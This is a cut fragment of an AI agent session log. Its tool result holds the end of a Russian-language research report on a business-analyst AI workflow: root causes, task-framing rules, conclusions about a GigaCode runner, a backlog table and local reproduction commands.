\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u2014 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\\n- **\u041f\u0440\u043e\u0442\u0438\u0432.** \u0422\u0430 \u0436\u0435 \u0441\u0442\u0430\u0442\u044c\u044f Anthropic \u0441\u043e\u0432\u0435\u0442\u0443\u0435\u0442 \u0430\u0433\u0435\u043d\u0442\u043e\u0432 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0443\u0436\u043d\u0430\\n  \u0433\u0438\u0431\u043a\u043e\u0441\u0442\u044c. \u0412 BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0433\u0438\u0431\u043a\u043e\u0441\u0442\u044c \u043d\u0443\u0436\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0443\u0437\u043b\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438,\\n  \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432, \u2014 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u0440\u043e\u043c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u0430\\n  \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014 \u043d\u0435\u0442.\\n- **\u041d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b.** \u0417\u0430\u043a\u0440\u044b\u0442\u0438\u0435 Roo Code \u0438 \u0441\u043c\u0435\u043d\u0430 \u0438\u043c\u0451\u043d \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Cline\\n  ([\u0413-41](#\u0433-41)) \u2014 \u043b\u043e\u0433\u0438\u043a\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\\n  \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 n8n ([\u0413-48](#\u0433-48)) \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439\\n  \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438. \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0443\u0437\u043b\u0430 \u043f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0432\\n  LangGraph ([\u0413-51](#\u0433-51)) \u2014 \u0434\u0432\u0438\u0436\u043e\u043a \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\\n  \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u2014 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 runner \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\\n  \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u0436\u043d\u043e\u0435 \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438, \u0435\u0441\u043b\u0438 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n## \u041a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b: \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d. \u0421\u043b\u043e\u0438 1\u20133 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 \u0442\u0440\u0438.\\n\\n7. **\u0423 \u0440\u043e\u043b\u0438 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043b\u0430 \u0440\u043e\u043b\u044c, \u043d\u043e\\n   \u043d\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u0440\u0435\u0448\u0438\u043b \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u043e\u043a\u0443\u043f\u043a\u0438\\n   \u0434\u0432\u0438\u0436\u043a\u0430, \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0440\u043e\u043b\u044c \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u043b \u0442\u043e\u0442, \u043a\u0442\u043e\\n   \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0440\u044f\u0434\u043e\u043c: \u0411\u0410 \u0438\u043b\u0438 \u043c\u043e\u0434\u0435\u043b\u044c. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b [\u0413-26](#\u0433-26), [\u0413-36](#\u0433-36),\\n   [\u0413-40](#\u0433-40).\\n8. **\u0413\u0435\u0439\u0442 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430.** \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n   \u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `script_invoked`, \u043d\u043e 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\u043e\u0442\u043b\u043e\u0436\u0435\u043d \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0430 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043b\u0438 n8n\u00bb \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n   [\u0413-50](#\u0433-50), [\u0413-54](#\u0433-54).\\n\\n## \u041a\u0430\u043a \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443: \u0432\u044b\u0431\u043e\u0440 \u0441\u0440\u0435\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\\n\\n\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 (\u043f\u0440\u0430\u0432\u0438\u043b\u0430 1\u20137).\\n\\n8. **\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0440\u043e\u043b\u0438 \u043d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u043e\u0434\u0435\u043b\u044c, \u0430\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430,\\n   \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0433\u0435\u0439\u0442\u043e\u0432, \u043a\u0430\u043d\u0430\u043b\\n   \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 \u043f\u0443\u0441\u0442\u043e \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u00bb \u2014\\n   \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 \u043d\u0435\u0442 ([\u0413-26](#\u0433-26)).\\n9. **\u0421\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0433\u0435\u0439\u0442.** \u00abG-mach \u043f\u0440\u043e\u0448\u0451\u043b\u00bb \u043c\u043e\u0436\u0435\u0442\\n   \u0437\u043d\u0430\u0447\u0438\u0442\u044c \u00ab\u043f\u0430\u043a\u0435\u0442 \u0446\u0435\u043b\u00bb, \u0430 \u043d\u0435 \u00ab\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 \u0432\u0435\u0440\u0435\u043d\u00bb. \u0422\u0440\u0435\u0431\u0443\u0439\u0442\u0435 \u0432 \u0437\u0430\u0434\u0430\u0447\u0435:\\n   \u00ab\u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 X \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 X \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 Y\u00bb ([\u0413-29](#\u0433-29)).\\n10. **\u041e\u0442\u0434\u0435\u043b\u044f\u0439\u0442\u0435 \u044f\u0434\u0440\u043e \u043e\u0442 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.** \u042f\u0434\u0440\u043e \u2014 \u0433\u0440\u0430\u0444, \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b,\\n    \u0436\u0443\u0440\u043d\u0430\u043b; \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 \u0447\u0430\u0442, \u0444\u043e\u0440\u043c\u044b, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n    \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0439\u0442\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c: \u00ab\u0433\u0434\u0435 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0433\u0440\u0430\u0444 \u0438 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443 \u043d\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442\\n    \u043a\u043e\u043f\u0438\u0439?\u00bb \u0415\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u2014 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u043a\u043e\u043f\u0438\u044f \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435\u00bb, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n    \u0433\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 ([\u0413-47](#\u0433-47)).\\n11. **\u041b\u044e\u0431\u043e\u0435 \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb 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\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.**\\n    \u0415\u0441\u0442\u044c \u043b\u0438 \u0443 \u0441\u0440\u0435\u0434\u044b API \u043c\u043e\u0434\u0435\u043b\u0438, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0430\u043a\u0438\u0435 \u043e\u0431\u0440\u0430\u0437\u044b\\n    \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0418\u043d\u0430\u0447\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014\\n    \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c ([\u0413-42](#\u0433-42), [\u0413-43](#\u0433-43)).\\n\\n## \u0412\u044b\u0432\u043e\u0434: \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435\\n\\n**\u0412\u0435\u043a\u0442\u043e\u0440 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430.** Source \u2192\\nDistribution \u2192 Runtime \u2192 Feedback \u043f\u043e\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0435\u043e\u0440\u0438\u044e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0435\u0435 \u0437\u0432\u0435\u043d\u043e \u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0415\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n\u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c; \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0438\u0437 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runner GigaCode. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0434\u0432\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u044d\u0442\u043e \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435, \u0437\u0430\u0442\u0435\u043c \u0442\u043e\u0442 \u0436\u0435 runner \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435.** \u041f\u0430\u043a\u0435\u0442 Cline \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438 \u043f\u0435\u0440\u0432\u043e\u0439\\n\u0447\u0430\u0441\u0442\u0438. Runner GigaCode \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432, \u043d\u043e \u043d\u0435 \u043a \u0437\u0430\u043c\u0435\u0440\u0430\u043c \u043f\u0438\u043b\u043e\u0442\u0430:\\n\u043f\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430, \u0437\u0430\u043c\u0435\u0440 `deterministic_share` \u043d\u0438\u0447\u0435\u0433\u043e\\n\u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0448\u0430\u0433\u043e\u0432 ([\u0413-30](#\u0433-30)). \u0414\u043e \u043f\u0435\u0440\u0432\u044b\u0445 10 \u0437\u0430\u0434\u0430\u0447 \u043f\u0438\u043b\u043e\u0442\u0430\\nADR-018 \u043d\u0443\u0436\u043d\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f 1.1\u20131.3 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\n\\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0432\u0445\u043e\u0434 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.\\n\\n| \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 | \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c | \u0422\u0438\u043f | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b | \u0417\u0430\u0434\u0430\u0447\u0430 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 |\\n|-----------|-------------|-----|----------|----------------|\\n| 1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-28](#\u0433-28) | B-211 |\\n| 1 | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0445\u043e\u0434\u044b | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) | B-212 |\\n| 1 | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34) | B-213 |\\n| 1 | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | [\u0413-33](#\u0433-33) | B-214 |\\n| 2 | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c | [\u0413-26](#\u0433-26), [\u0413-27](#\u0433-27) | B-215 |\\n| 2 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-40](#\u0433-40) | B-216 |\\n| 2 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c | [\u0413-42](#\u0433-42) | B-217 |\\n| 3 | RFC \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, Postgres, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n; \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u0432\u0438\u0436\u043a\u0430 | \u0412\u044b\u0431\u043e\u0440 | [\u0413-43](#\u0433-43)\u2026[\u0413-54](#\u0433-54) | B-218 |\\n\\n\u0417\u0430\u0434\u0430\u0447\u0438 B-211\u2026B-218 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432\\n[\u0421\u043f\u0440\u0438\u043d\u0442 26 \u0431\u044d\u043a\u043b\u043e\u0433\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md)\\n\u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `TODO` \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043e\u043c `null`: \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a.\\n\\n## \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n\\n```bash\\npip install -r projects/ba-ai-process/dist/execution-package-gigacode-cli/requirements.txt\\npython3 projects/ba-ai-process/experiments/issue_639_runner_probes.py\\n```\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 GigaCode \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439. `P10` \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3 \u043f\u043e\u0441\u043b\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e n0; `P11` \u2014 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b YAML \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u0435\u0442\u043e\u043a \u0432 Python; `P12` \u2014\\n\u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b 2026-09-29; \u0432\u0435\u0440\u0441\u0438\u0438: n8n 2.40.7, Cline 4.1.21, Open WebUI 0.11.4.\\n\\n## Related Artifacts\",\n[2026-09-29T07:46:44.710Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:44.710Z] [INFO]       }\n[2026-09-29T07:46:44.710Z] [INFO]     ]\n[2026-09-29T07:46:44.710Z] [INFO]   },\n[2026-09-29T07:46:44.710Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"uuid\": \"c93a5af0-2337-42ed-be8e-74a345c05de9\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:44.687Z\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:44.710Z] [INFO] }\n[2026-09-29T07:46:44.738Z] [STDOUT] [log_232d49] sending request {\n[2026-09-29T07:46:44.744Z] [STDOUT]   method: 